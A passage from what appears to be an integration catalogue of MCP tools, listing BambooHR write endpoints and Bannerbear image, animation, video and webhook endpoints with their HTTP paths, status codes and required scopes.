bamboohr_post_api_v1_time_tracking_projects_by_projectid_tasks (write) — Create time tracking project task via POST /api/v1/time-tracking/projects/{projectId}/tasks POST /api/v1/bamboohr/api/v1/time-tracking/projects/{projectId}/tasks. Scopes: time_tracking:project.write. bamboohr_post_api_v1_time_tracking_projects_legacy (write) — Create time tracking project (Legacy) via POST /api/v1/time_tracking/projects POST /api/v1/bamboohr/api/v1/time_tracking/projects. Scopes: time_tracking.write. bamboohr_post_api_v1_time_tracking_shift_differentials (write) — Create time tracking shift differential via POST /api/v1/time-tracking/shift-differentials POST /api/v1/bamboohr/api/v1/time-tracking/shift-differentials. Scopes: time_tracking:shift_differentials.write. bamboohr_post_api_v1_time_tracking_timesheet_approvals (write) — Approve timesheet via POST /api/v1/time-tracking/timesheet-approvals POST /api/v1/bamboohr/api/v1/time-tracking/timesheet-approvals. Scopes: time_tracking:timesheets.write. bamboohr_post_api_v1_timetracking_add (write) — Create hour record via POST /api/v1/timetracking/add POST /api/v1/bamboohr/api/v1/timetracking/add. Scopes: time_tracking.write. bamboohr_post_api_v1_timetracking_record (write) — Create or update hour records via POST /api/v1/timetracking/record POST /api/v1/bamboohr/api/v1/timetracking/record. Scopes: time_tracking.write. bamboohr_post_api_v1_training_category (write) — Create training category via POST /api/v1/training/category POST /api/v1/bamboohr/api/v1/training/category. Scopes: training.write. bamboohr_post_api_v1_training_record_employee_by_employeeid (write) — Create employee training record via POST /api/v1/training/record/employee/{employeeId} POST /api/v1/bamboohr/api/v1/training/record/employee/{employeeId}. Scopes: training.write. bamboohr_post_api_v1_training_type (write) — Create training type via POST /api/v1/training/type POST /api/v1/bamboohr/api/v1/training/type. Scopes: training.write. bamboohr_post_api_v1_webhooks (write) — Create webhook via POST /api/v1/webhooks. Also authorised by: webhooks POST /api/v1/bamboohr/api/v1/webhooks. Scopes: webhooks.write. bamboohr_post_api_v2_datasets_by_datasetname_data (write) — Get data from dataset (v2) via POST /api/v2/datasets/{datasetName}/data POST /api/v1/bamboohr/api/v2/datasets/{datasetName}/data. Scopes: report. bamboohr_put_api_v1_1_employees_by_employeeid_time_off_policies (write) — Assign time off policies (v1.1) via PUT /api/v1_1/employees/{employeeId}/time_off/policies PUT /api/v1/bamboohr/api/v1_1/employees/{employeeId}/time_off/policies. Scopes: time_off.write. bamboohr_put_api_v1_1_performance_employees_by_employeeid_goals_by_goalid (write) — Update goal (v1.1) via PUT /api/v1_1/performance/employees/{employeeId}/goals/{goalId} PUT /api/v1/bamboohr/api/v1_1/performance/employees/{employeeId}/goals/{goalId}. Scopes: goal.write. bamboohr_put_api_v1_alert_configurations_by_id (write) — Replace alert configuration via PUT /api/v1/alert-configurations/{id} PUT /api/v1/bamboohr/api/v1/alert-configurations/{id}. Scopes: alerts.write. bamboohr_put_api_v1_company_profile_data_display_name (write) — Update company display name via PUT /api/v1/company-profile-data/display-name PUT /api/v1/bamboohr/api/v1/company-profile-data/display-name. Scopes: company:details.write. bamboohr_put_api_v1_company_profile_data_industry_codes (write) — Update company industry codes via PUT /api/v1/company-profile-data/industry-codes PUT /api/v1/bamboohr/api/v1/company-profile-data/industry-codes. Scopes: company:details.write. bamboohr_put_api_v1_compensation_benchmarks (write) — Update compensation benchmark via PUT /api/v1/compensation/benchmarks PUT /api/v1/bamboohr/api/v1/compensation/benchmarks. Scopes: compensation_benchmarks.write. bamboohr_put_api_v1_compensation_benchmarks_sources (write) — Update compensation benchmark sources via PUT /api/v1/compensation/benchmarks/sources PUT /api/v1/bamboohr/api/v1/compensation/benchmarks/sources. Scopes: compensation_benchmarks.write. bamboohr_put_api_v1_compensation_equity_settings (write) — Update company equity settings via PUT /api/v1/compensation/equity/settings PUT /api/v1/bamboohr/api/v1/compensation/equity/settings. Scopes: equity.write. bamboohr_put_api_v1_compensation_planning_cycles_by_id (write) — Update compensation planning cycle via PUT /api/v1/compensation/planning_cycles/{id} PUT /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}. Scopes: planning_cycles.write. bamboohr_put_api_v1_compensation_planning_cycles_by_id_approvals_by_templateid (write) — Update approval flow via PUT /api/v1/compensation/planning_cycles/{id}/approvals/{templateId} PUT /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/approvals/{templateId}. Scopes: planning_cycles.write. bamboohr_put_api_v1_compensation_planning_cycles_by_id_budgets_breakdown (write) — Save budget breakdown via PUT /api/v1/compensation/planning_cycles/{id}/budgets/breakdown PUT /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/budgets/breakdown. Scopes: planning_cycles.write. bamboohr_put_api_v1_compensation_planning_cycles_by_id_budgets_guidelines (write) — Save budget guidelines via PUT /api/v1/compensation/planning_cycles/{id}/budgets/guidelines PUT /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/budgets/guidelines. Scopes: planning_cycles.write. bamboohr_put_api_v1_compensation_planning_cycles_by_id_change_comm_template (write) — Save change comm template via PUT /api/v1/compensation/planning_cycles/{id}/change_comm/template PUT /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/change_comm/template. Scopes: planning_cycles.write. bamboohr_put_api_v1_compensation_planning_cycles_by_id_complete (write) — Complete compensation planning cycle via PUT /api/v1/compensation/planning_cycles/{id}/complete PUT /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/complete. Scopes: planning_cycles.write. bamboohr_put_api_v1_compensation_planning_cycles_by_id_launch (write) — Launch compensation planning cycle via PUT /api/v1/compensation/planning_cycles/{id}/launch PUT /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/launch. Scopes: planning_cycles.write. bamboohr_put_api_v1_compensation_total_rewards_custom_disclaimer (write) — Set total rewards custom disclaimer via PUT /api/v1/compensation/total_rewards/custom_disclaimer PUT /api/v1/bamboohr/api/v1/compensation/total_rewards/custom_disclaimer. Scopes: total_rewards.write. bamboohr_put_api_v1_compensation_total_rewards_onboarding_by_stepname (write) — Set total rewards onboarding step status via PUT /api/v1/compensation/total_rewards/onboarding/{stepName} PUT /api/v1/bamboohr/api/v1/compensation/total_rewards/onboarding/{stepName}. Scopes: total_rewards.write. bamboohr_put_api_v1_employee_verifications_employees_by_employeeid_by_verificationid (write) — Update an employee verification record via PUT /api/v1/employee-verifications/employees/{employeeId}/{verificationId} PUT /api/v1/bamboohr/api/v1/employee-verifications/employees/{employeeId}/{verificationId}. Scopes: employee_verifications.write. bamboohr_put_api_v1_employee_verifications_integration (write) — Enable or disable the employee verification integration via PUT /api/v1/employee-verifications/integration PUT /api/v1/bamboohr/api/v1/employee-verifications/integration. Scopes: employee_verifications.write. bamboohr_put_api_v1_employees_by_employeeid_time_off_policies (write) — Assign time off policies (v1) via PUT /api/v1/employees/{employeeId}/time_off/policies PUT /api/v1/bamboohr/api/v1/employees/{employeeId}/time_off/policies. Scopes: time_off.write. bamboohr_put_api_v1_hris_custom_fields_by_customfieldid (write) — Edit custom field via PUT /api/v1/hris/custom-fields/{customFieldId} PUT /api/v1/bamboohr/api/v1/hris/custom-fields/{customFieldId}. Scopes: employee:custom_fields.write. bamboohr_put_api_v1_hris_org_locations_by_id (write) — Update a job location via PUT /api/v1/hris/org/locations/{id} PUT /api/v1/bamboohr/api/v1/hris/org/locations/{id}. Scopes: field.write. bamboohr_put_api_v1_new_hire_packets_by_id (write) — Update new hire packet via PUT /api/v1/new-hire-packets/{id} PUT /api/v1/bamboohr/api/v1/new-hire-packets/{id}. Scopes: onboarding.write. bamboohr_put_api_v1_new_hire_packets_by_id_question_visibility (write) — Update GTKY answer visibility for a new hire packet via PUT /api/v1/new-hire-packets/{id}/question-visibility PUT /api/v1/bamboohr/api/v1/new-hire-packets/{id}/question-visibility. Scopes: onboarding.write. bamboohr_put_api_v1_pay_grades_and_bands_job_titles (write) — Replace job title level assignments via PUT /api/v1/pay-grades-and-bands/job-titles PUT /api/v1/bamboohr/api/v1/pay-grades-and-bands/job-titles. Scopes: pay_grades_and_bands.write. bamboohr_put_api_v1_pay_grades_and_bands_levels (write) — Update compensation level groups and levels via PUT /api/v1/pay-grades-and-bands/levels PUT /api/v1/bamboohr/api/v1/pay-grades-and-bands/levels. Scopes: pay_grades_and_bands.write. bamboohr_put_api_v1_pay_grades_and_bands_pay_bands (write) — Update pay bands via PUT /api/v1/pay-grades-and-bands/pay-bands PUT /api/v1/bamboohr/api/v1/pay-grades-and-bands/pay-bands. Scopes: pay_grades_and_bands.write. bamboohr_put_api_v1_performance_employees_by_employeeid_goals_by_goalid (write) — Update goal (v1) via PUT /api/v1/performance/employees/{employeeId}/goals/{goalId} PUT /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}. Scopes: goal.write. bamboohr_put_api_v1_performance_employees_by_employeeid_goals_by_goalid_comments_by_commentid (write) — Update goal comment via PUT /api/v1/performance/employees/{employeeId}/goals/{goalId}/comments/{commentId} PUT /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/comments/{commentId}. Scopes: goal.write. bamboohr_put_api_v1_performance_employees_by_employeeid_goals_by_goalid_milestones_by_milestoneid_progress (write) — Update milestone progress via PUT /api/v1/performance/employees/{employeeId}/goals/{goalId}/milestones/{milestoneId}/progress PUT /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/milestones/{milestoneId}/progress. Scopes: goal.write. bamboohr_put_api_v1_performance_employees_by_employeeid_goals_by_goalid_progress (write) — Update goal progress via PUT /api/v1/performance/employees/{employeeId}/goals/{goalId}/progress PUT /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/progress. Scopes: goal.write. bamboohr_put_api_v1_performance_employees_by_employeeid_goals_by_goalid_sharedwith (write) — Update goal sharing via PUT /api/v1/performance/employees/{employeeId}/goals/{goalId}/sharedWith PUT /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/sharedWith. Scopes: goal.write. bamboohr_put_api_v1_time_tracking_break_policies_by_id_assign (write) — Set employees for break policy via PUT /api/v1/time-tracking/break-policies/{id}/assign PUT /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}/assign. Scopes: time_tracking:breaks.write. bamboohr_put_api_v1_time_tracking_break_policies_by_id_breaks (write) — Replace breaks for break policy via PUT /api/v1/time-tracking/break-policies/{id}/breaks PUT /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}/breaks. Scopes: time_tracking:breaks.write. bamboohr_put_api_v1_time_tracking_break_policies_by_id_sync (write) — Sync break policy via PUT /api/v1/time-tracking/break-policies/{id}/sync PUT /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}/sync. Scopes: time_tracking:breaks.write. bamboohr_put_api_v1_timetracking_adjust (write) — Update hour record via PUT /api/v1/timetracking/adjust PUT /api/v1/bamboohr/api/v1/timetracking/adjust. Scopes: time_tracking.write. bamboohr_put_api_v1_training_category_by_trainingcategoryid (write) — Update training category via PUT /api/v1/training/category/{trainingCategoryId} PUT /api/v1/bamboohr/api/v1/training/category/{trainingCategoryId}. Scopes: training.write. bamboohr_put_api_v1_training_record_by_employeetrainingrecordid (write) — Update employee training record via PUT /api/v1/training/record/{employeeTrainingRecordId} PUT /api/v1/bamboohr/api/v1/training/record/{employeeTrainingRecordId}. Scopes: training.write. bamboohr_put_api_v1_training_type_by_trainingtypeid (write) — Update training type via PUT /api/v1/training/type/{trainingTypeId} PUT /api/v1/bamboohr/api/v1/training/type/{trainingTypeId}. Scopes: training.write. bamboohr_put_api_v1_webhooks_by_id (write) — Update webhook via PUT /api/v1/webhooks/{id}. Also authorised by: webhooks PUT /api/v1/bamboohr/api/v1/webhooks/{id}. Scopes: webhooks.write. ================================================================================ ## Bannerbear URL: https://www.agenticfabriq.com/integrations/bannerbear Section: Integrated Tools Bannerbear — 64 MCP tools Provider key: bannerbear. Scopes: animation_templates:read, animation_templates:write, animations:read, animations:write, assets:read, batches:read, batches:write, image_templates:read, image_templates:write, images:read, images:write, instant_urls:read, instant_urls:write, publications:read, publications:write, tools:read, tools:write, webhooks:read, webhooks:write, workflows:read, workflows:write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bannerbear_delete_animation_templates_by_uid (write, destructive) — Delete an animation template. DELETE /animation_templates/{uid}. Soft-deletes the template. Animations already rendered from it stay intact, but the template no longer appears in list/get calls and can't be used for new renders. 204: Template deleted. 403: Template's api_write_access is owner_only and the caller's key is not owned by its creator. 423: Template's api_write_access is nobody — unlock via the dashboard. DELETE /api/v1/bannerbear/animation_templates/{uid}. Scopes: animation_templates:write. bannerbear_delete_image_templates_by_uid (write, destructive) — Delete an image template. DELETE /image_templates/{uid}. Soft-deletes the template. Existing renders that reference it stay intact, but the template will no longer appear in list/get calls and can no longer be used for new renders. 200: Template deleted. 403: Template's api_write_access is owner_only and the caller's API key is not owned by the template's creator. 423: Template's api_write_access is nobody — the owner must unlock it via the dashboard. DELETE /api/v1/bannerbear/image_templates/{uid}. Scopes: image_templates:write. bannerbear_delete_instant_urls_by_uid (write, destructive) — Delete an instant URL. DELETE /instant_urls/{uid}. 200: Instant URL deleted. Plan-gated: Instant URLs are a Scale-plan feature (not on Automate); trial workspaces may hold three. DELETE /api/v1/bannerbear/instant_urls/{uid}. Scopes: instant_urls:write. bannerbear_delete_webhooks_by_uid (write, destructive) — Delete a webhook. DELETE /webhooks/{uid}. 200: Webhook deleted. DELETE /api/v1/bannerbear/webhooks/{uid}. Scopes: webhooks:write. bannerbear_delete_workflows_by_uid (write, destructive) — Delete a workflow. DELETE /workflows/{uid}. Discards the workflow. Its past runs are kept. 204: Workflow discarded. 403: Workflow is restricted to updates from its owner's API keys. 423: Workflow is locked from API updates. DELETE /api/v1/bannerbear/workflows/{uid}. Scopes: workflows:write. bannerbear_get_account (read) — Get account info. GET /account. 200: Account details for the authenticated workspace and API key. GET /api/v1/bannerbear/account. Scopes: none. bannerbear_get_animation_templates (read) — List animation templates. GET /animation_templates. 200: Paginated list of templates. GET /api/v1/bannerbear/animation_templates. Scopes: animation_templates:read. bannerbear_get_animation_templates_by_uid (read) — Get an animation template. GET /animation_templates/{uid}. 200: Template details. GET /api/v1/bannerbear/animation_templates/{uid}. Scopes: animation_templates:read. bannerbear_get_animations (read) — List animations. GET /animations. 200: Paginated list of animations. GET /api/v1/bannerbear/animations. Scopes: animations:read. bannerbear_get_animations_by_uid (read) — Get an animation. GET /animations/{uid}. 200: Animation details + live progress. GET /api/v1/bannerbear/animations/{uid}. Scopes: animations:read. bannerbear_get_assets (read) — List assets. GET /assets. 200: Paginated list of assets uploaded by this workspace. GET /api/v1/bannerbear/assets. Scopes: assets:read. bannerbear_get_assets_by_uid (read) — Get an asset. GET /assets/{uid}. 200: Asset details. GET /api/v1/bannerbear/assets/{uid}. Scopes: assets:read. bannerbear_get_batches (read) — List batches. GET /batches. 200: Paginated list of batches. GET /api/v1/bannerbear/batches. Scopes: batches:read. bannerbear_get_batches_by_uid (read) — Get a batch. GET /batches/{uid}. 200: Batch details. GET /api/v1/bannerbear/batches/{uid}. Scopes: batches:read. bannerbear_get_image_templates (read) — List image templates. GET /image_templates. 200: Paginated list of templates. GET /api/v1/bannerbear/image_templates. Scopes: image_templates:read. bannerbear_get_image_templates_by_uid (read) — Get an image template. GET /image_templates/{uid}. 200: Template details. GET /api/v1/bannerbear/image_templates/{uid}. Scopes: image_templates:read. bannerbear_get_images (read) — List images. GET /images. 200: Paginated list of images. GET /api/v1/bannerbear/images. Scopes: images:read. bannerbear_get_images_by_uid (read) — Get an image. GET /images/{uid}. 200: Image details. GET /api/v1/bannerbear/images/{uid}. Scopes: images:read. bannerbear_get_instant_urls (read) — List instant URLs. GET /instant_urls. 200: Paginated list of instant URLs. Plan-gated: Instant URLs are a Scale-plan feature (not on Automate); trial workspaces may hold three. GET /api/v1/bannerbear/instant_urls. Scopes: instant_urls:read. bannerbear_get_instant_urls_by_uid (read) — Get an instant URL. GET /instant_urls/{uid}. 200: Instant URL details. Plan-gated: Instant URLs are a Scale-plan feature (not on Automate); trial workspaces may hold three. GET /api/v1/bannerbear/instant_urls/{uid}. Scopes: instant_urls:read. bannerbear_get_publications (read) — Browse the public library. GET /publications. Returns publications with visibility=public_library from every team, which is the same set the dashboard's template library shows. Legacy V3 publications are included and their uid carries a v3_ prefix; they install as V5 image templates, converted on the way in. Publications are user-owned resources that span workspaces, so there's no workspace-scoped listing — if you need your own publication UIDs, grab them from the dashboard at publish time and hit /publications/{uid} or /publications/{uid}/install directly. 200: Paginated list of public library publications. GET /api/v1/bannerbear/publications. Scopes: publications:read. bannerbear_get_publications_by_uid (read) — Get a publication. GET /publications/{uid}. Public library publications are visible to any authenticated caller, including legacy V3 ones, whose uid carries a v3_ prefix — a bare V3 uid resolves too. Published publications are only returned to the user who created them. 200: Publication details. GET /api/v1/bannerbear/publications/{uid}. Scopes: publications:read. bannerbear_get_tool_jobs (read) — List tool jobs. GET /tool_jobs. Newest first, 20 per page. Same polling shape /v5/images uses — Zapier / integration triggers can dedupe by uid and stop once they see a known one. 200: Paginated list of tool jobs (any tool_type, any status). outputs shape varies per-tool — see each tool's POST endpoint. GET /api/v1/bannerbear/tool_jobs. Scopes: tools:read. bannerbear_get_tool_jobs_by_uid (read) — Get a tool job. GET /tool_jobs/{uid}. Poll the status and outputs of a tool run. The outputs object's shape depends on which tool created the job — refer to the tool's POST endpoint for the concrete keys. 200: Tool job details. GET /api/v1/bannerbear/tool_jobs/{uid}. Scopes: tools:read. bannerbear_get_webhooks (read) — List webhooks. GET /webhooks. 200: Paginated list of webhooks. GET /api/v1/bannerbear/webhooks. Scopes: webhooks:read. bannerbear_get_webhooks_by_uid (read) — Get a webhook. GET /webhooks/{uid}. 200: Webhook details. GET /api/v1/bannerbear/webhooks/{uid}. Scopes: webhooks:read. bannerbear_get_workflow_runs (read) — List workflow runs. GET /workflow_runs. 200: Paginated list of runs, newest first. GET /api/v1/bannerbear/workflow_runs. Scopes: workflows:read. bannerbear_get_workflow_runs_by_uid (read) — Get a workflow run. GET /workflow_runs/{uid}. 200: Run details, live progress, and per-step results. GET /api/v1/bannerbear/workflow_runs/{uid}. Scopes: workflows:read. bannerbear_get_workflows (read) — List workflows. GET /workflows. 200: Paginated list of workflows. GET /api/v1/bannerbear/workflows. Scopes: workflows:read. bannerbear_get_workflows_by_uid (read) — Get a workflow. GET /workflows/{uid}. Returns the workflow's definition — the inputs it accepts and the steps it runs, in order. Call this before POST /workflow_runs to learn what to send. 200: Workflow definition. GET /api/v1/bannerbear/workflows/{uid}. Scopes: workflows:read. bannerbear_patch_animation_templates_by_uid (write) — Update an animation template. PATCH /animation_templates/{uid}. Update metadata, or replace the whole canvas by sending config. Layers and keyframes both live in config, so a partial config replaces everything in it — read the template first and send back the full object with your changes applied. 200: Updated template. 403: Template's api_write_access is owner_only and the caller's key is not owned by its creator. 423: Template's api_write_access is nobody — unlock via the dashboard. PATCH /api/v1/bannerbear/animation_templates/{uid}. Scopes: animation_templates:write. bannerbear_patch_image_templates_by_uid (write) — Update an image template. PATCH /image_templates/{uid}. Update any subset of template attributes. Passing config fully replaces the template's canvas configuration. 200: Updated template. 403: Template's api_write_access is owner_only and the caller's API key is not owned by the template's creator. 423: Template's api_write_access is nobody — the owner must unlock it via the dashboard. PATCH /api/v1/bannerbear/image_templates/{uid}. Scopes: image_templates:write. bannerbear_patch_instant_urls_by_uid (write) — Update an instant URL. PATCH /instant_urls/{uid}. 200: Updated instant URL. Plan-gated: Instant URLs are a Scale-plan feature (not on Automate); trial workspaces may hold three. PATCH /api/v1/bannerbear/instant_urls/{uid}. Scopes: instant_urls:write. bannerbear_patch_webhooks_by_uid (write) — Update a webhook. PATCH /webhooks/{uid}. 200: Updated webhook. PATCH /api/v1/bannerbear/webhooks/{uid}. Scopes: webhooks:write. bannerbear_patch_workflows_by_uid (write) — Update a workflow. PATCH /workflows/{uid}. Change metadata, inputs or steps. Each of inputs and steps is replaced wholesale when present and left alone when omitted, so renaming a workflow does not disturb its definition. Read the workflow first and send back the full array with your changes applied. 200: Updated workflow. 403: Workflow's api_write_access is owner_only and the caller's key is not owned by its creator. 423: Workflow is locked from API updates. PATCH /api/v1/bannerbear/workflows/{uid}. Scopes: workflows:write. bannerbear_post_animation_templates (write) — Create an animation template. POST /animation_templates. Create an animation template. Send config to author layers and keyframes directly — see the Keyframes schema for the frame shape — or omit it and build the template in the dashboard editor. duration_seconds is derived from the keyframes rather than set. 201: Template created. Trial workspaces are capped at three animation templates. POST /api/v1/bannerbear/animation_templates. Scopes: animation_templates:write. bannerbear_post_animation_templates_by_uid_animate (write) — Animate a template with a preset. POST /animation_templates/{uid}/animate. Applies a named preset to layers, optionally staggered. Deterministic and free: no model call, no AI credits, and the same request always produces the same keyframes — three layers at stagger: 500 begin at 0, 500 and 1000ms exactly. Use this whenever the request already says what it wants. The template is versioned before it is overwritten. 200: Template with its new keyframes. 403: Template's api_write_access is owner_only and the caller's key is not owned by its creator. 423: Template's api_write_access is nobody — unlock via the dashboard. POST /api/v1/bannerbear/animation_templates/{uid}/animate. Scopes: animation_templates:write. bannerbear_post_animations (write) — Create an animation. POST /animations. Render an animation from a template. Async — returns 202 with a queued animation; poll GET /animations/{uid} until status is completed or failed. Duration comes from the template's keyframes, so a template with no animation is rejected. Passing modifications.template.transparent: true renders on a transparent background and forces a MOV output, since MP4 carries no alpha channel. 202: Animation queued. 402: API quota exhausted. POST /api/v1/bannerbear/animations. Scopes: animations:write. bannerbear_post_assets_check (write) — Batch-check which asset hashes already exist. POST /assets/check. Given a list of SHA-256 content hashes, returns a map of each hash to its existing asset record (or null if not stored in this workspace). Lets syncing clients skip the upload round-trip for content that's already been uploaded — compute the hash locally, batch-check, then only POST the missing ones to /assets. Max 100 hashes per request. 200: Map of hash → asset record or null. Keys are the hashes from the request; values are the existing asset for that hash, or null if not found. POST /api/v1/bannerbear/assets/check. Scopes: assets:read. bannerbear_post_batches (write) — Create a batch. POST /batches. 202: Batch creation accepted. POST /api/v1/bannerbear/batches. Scopes: batches:write. bannerbear_post_image_templates (write) — Create an image template. POST /image_templates. Create a new image template in the workspace. Pass config to seed the canvas with layers; omit it to start from an empty template that can be edited later. 201: Template created. Trial workspaces are capped at three image templates. POST /api/v1/bannerbear/image_templates. Scopes: image_templates:write. bannerbear_post_images (write) — Create an image. POST /images. Create an image render. Async on api.bannerbear.com (returns 202 + pending record, poll via GET /images/{uid} or subscribe via webhook). Sync on sync.api.bannerbear.com (returns 200 + completed image inline, or 408 if the render exceeds the sync timeout). 200: Sync render complete (sync host only). 202: Async render accepted (async host only). 402: API quota exhausted — upgrade required. 403: API key does not have access to this template. 408: Sync render timed out (sync host only). Pass sync: true to render on the synchronous host instead (200 with the finished image, or 408 after 10 seconds). POST /api/v1/bannerbear/images. Scopes: images:write. bannerbear_post_instant_urls (write) — Create an instant URL. POST /instant_urls. 201: Instant URL created. The signing_key field is only returned here — store it now. 402: Trial cap hit — upgrade required. Plan-gated: Instant URLs are a Scale-plan feature (not on Automate); trial workspaces may hold three. POST /api/v1/bannerbear/instant_urls. Scopes: instant_urls:write. bannerbear_post_publications_by_uid_install (write) — Install a publication into the workspace. POST /publications/{uid}/install. Clones the publication's snapshot into the API key's team. What it creates depends on the publication's template_kind — an image template, an animation template, or a workflow and the templates its steps use. A legacy V3 publication (uid prefixed v3_) is converted into a V5 image template on the way in. Returns the newly created resource. Trial accounts are capped at 3 templates per kind — installing beyond the cap returns 402. 201: Installed. The response shape matches the resource that was created, so it follows the publication's template_kind. 402: Trial cap hit — upgrade required. 403: Publication is unpublished and cannot be installed. Trial workspaces are capped at three templates per kind. POST /api/v1/bannerbear/publications/{uid}/install. Scopes: publications:write. bannerbear_post_tools_add_audio (write) — Add or replace audio. POST /tools/add_audio. Mix an audio track over a video, or replace the original. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/add_audio. Scopes: tools:write. bannerbear_post_tools_add_cover_art (write) — Add cover art to video. POST /tools/add_cover_art. Embed a still image as the video's poster thumbnail (no re-encode). Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/add_cover_art. Scopes: tools:write. bannerbear_post_tools_apply_color_filter (write) — Apply colour filter. POST /tools/apply_color_filter. Apply a named colour-grade preset to a video (Instagram-style filters). Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/apply_color_filter. Scopes: tools:write. bannerbear_post_tools_concat_videos (write) — Join videos. POST /tools/concat_videos. Join two or more videos end-to-end into a single file. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/concat_videos. Scopes: tools:write. bannerbear_post_tools_create_gif_preview (write) — Create GIF preview. POST /tools/create_gif_preview. Turn a video into an animated GIF preview. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/create_gif_preview. Scopes: tools:write. bannerbear_post_tools_create_pdf (write) — Create multi-page PDF. POST /tools/create_pdf. Stitch multiple JPGs, PNGs, and PDFs into a single multi-page document. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/create_pdf. Scopes: tools:write. bannerbear_post_tools_create_video_slideshow (write) — Create video slideshow. POST /tools/create_video_slideshow. Turn a series of images into an mp4 slideshow with optional transitions. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/create_video_slideshow. Scopes: tools:write. bannerbear_post_tools_crop_video (write) — Crop video. POST /tools/crop_video. Crop a video to an explicit rectangle in pixels. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/crop_video. Scopes: tools:write. bannerbear_post_tools_generate_ai_image (write) — Generate AI image. POST /tools/generate_ai_image. Generate an image from a text prompt using your choice of AI model. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/generate_ai_image. Scopes: tools:write. bannerbear_post_tools_generate_voiceover (write) — Generate voiceover. POST /tools/generate_voiceover. Turn text into spoken audio using a natural-sounding TTS voice. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/generate_voiceover. Scopes: tools:write. bannerbear_post_tools_overlay_image (write) — Add image overlay. POST /tools/overlay_image. Burn a logo, watermark, or badge onto a video. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/overlay_image. Scopes: tools:write. bannerbear_post_tools_overlay_video (write) — Overlay video. POST /tools/overlay_video. Layer one video on top of another as picture-in-picture. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/overlay_video. Scopes: tools:write. bannerbear_post_tools_remove_bg (write) — Remove background. POST /tools/remove_bg. Cut the subject out of an image against a transparent background. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/remove_bg. Scopes: tools:write. bannerbear_post_tools_resize_video (write) — Resize video. POST /tools/resize_video. Rescale a video to target dimensions, cover-crop or contain-letterbox. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/resize_video. Scopes: tools:write. bannerbear_post_tools_soften_video (write) — Soften video. POST /tools/soften_video. Smooth skin and flat surfaces while keeping edges sharp. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/soften_video. Scopes: tools:write. bannerbear_post_tools_subtitle_video (write) — Transcribe and burn subtitles. POST /tools/subtitle_video. Auto-transcribe the audio and burn styled subtitles onto the video. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/subtitle_video. Scopes: tools:write. bannerbear_post_tools_trim_video (write) — Trim video. POST /tools/trim_video. Keep a slice of a video by start and end time. Async — returns 202 with a pending job; poll GET /tool_jobs/{uid} until status is completed or failed. 202: Tool run accepted. 402: API quota exhausted — upgrade required. POST /api/v1/bannerbear/tools/trim_video. Scopes: tools:write. bannerbear_post_webhooks (write) — Create a webhook. POST /webhooks. 201: Webhook created. The signing_key field is only returned here — store it now. Bannerbear calls the URL when the webhook is created and refuses it with 422 ('Url responded with HTTP 405') unless the URL answers that request with a success status. POST /api/v1/bannerbear/webhooks. Scopes: 